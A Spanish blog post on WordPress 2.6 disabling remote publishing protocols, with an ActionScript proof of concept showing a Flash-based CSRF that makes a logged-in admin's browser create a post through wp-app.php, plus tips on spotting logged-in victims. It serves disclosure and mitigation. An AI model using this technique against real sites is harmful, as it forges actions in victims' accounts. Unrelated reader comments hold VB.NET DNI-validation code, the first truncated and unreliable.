Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos. Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:
actionscript:
// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}
Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀 Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo. [1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

6 Replies to “Protocolos de publicación remota en WordPress”

  1. porfavor nesecito el codigo para probal mi prueba de programa le falta si puede aseme llegar este codigo selo agradesco con el corazon

    Dim Letras As String = “TRWAGMYFPDXBNJZSQVHLCKE”
    Dim nifNum As Integer
    Dim NIf As String = DNIMaskedTextBox.Text
    Dim valido As Boolean = True

    If Not System.Text.RegularExpressions.Regex.IsMatch(NIf,
    valido = False
    Else
    nifNum = Integer.Parse(NIf.Substring(0, NIf.Length -
    If Not (NIf(8) = Letras(nifNum Mod 23)) Then
    valido = False
    End If
    End If
    If Not valido Then
    e.cancel = True

  2. Private Sub DniMaskedTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles DniMaskedTextBox.Validating
    Dim letras As String = "TRWAGMYFPDXBNJZSQVHLCKE" & "trwagmyfpdxbnjzsqvhlcke"
    Dim nifnum As Integer
    Dim nif As String = DniMaskedTextBox.Text
    Dim valido As Boolean = True
    If Not System.Text.RegularExpressions.Regex.IsMatch(nif, "^\d{8}[" + letras + "]$") Then

    valido = False
    Else
    nifnum = Integer.Parse(nif.Substring(0, nif.Length - 1))
    If Not (nif(8) = letras(nifnum Mod 23)) Then
    valido = False
    End If
    End If
    If Not valido Then
    e.Cancel = True

    ErrorProvider1.SetError(DniMaskedTextBox, "Error DNI no valido,llene este campo")
    Else
    ErrorProvider1.SetError(DniMaskedTextBox, Nothing)
    End If

    End Sub

    RESPUESTA A TU PETICION

    Private Sub NombreTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles NombreTextBox.Validating
    If NombreTextBox.Text.Length = 0 Then
    e.Cancel = True
    ErrorProvider1.SetError(NombreTextBox, "Error llene este campo")
    Else
    ErrorProvider1.SetError(NombreTextBox, Nothing)
    End If
    End Sub

Comments are closed.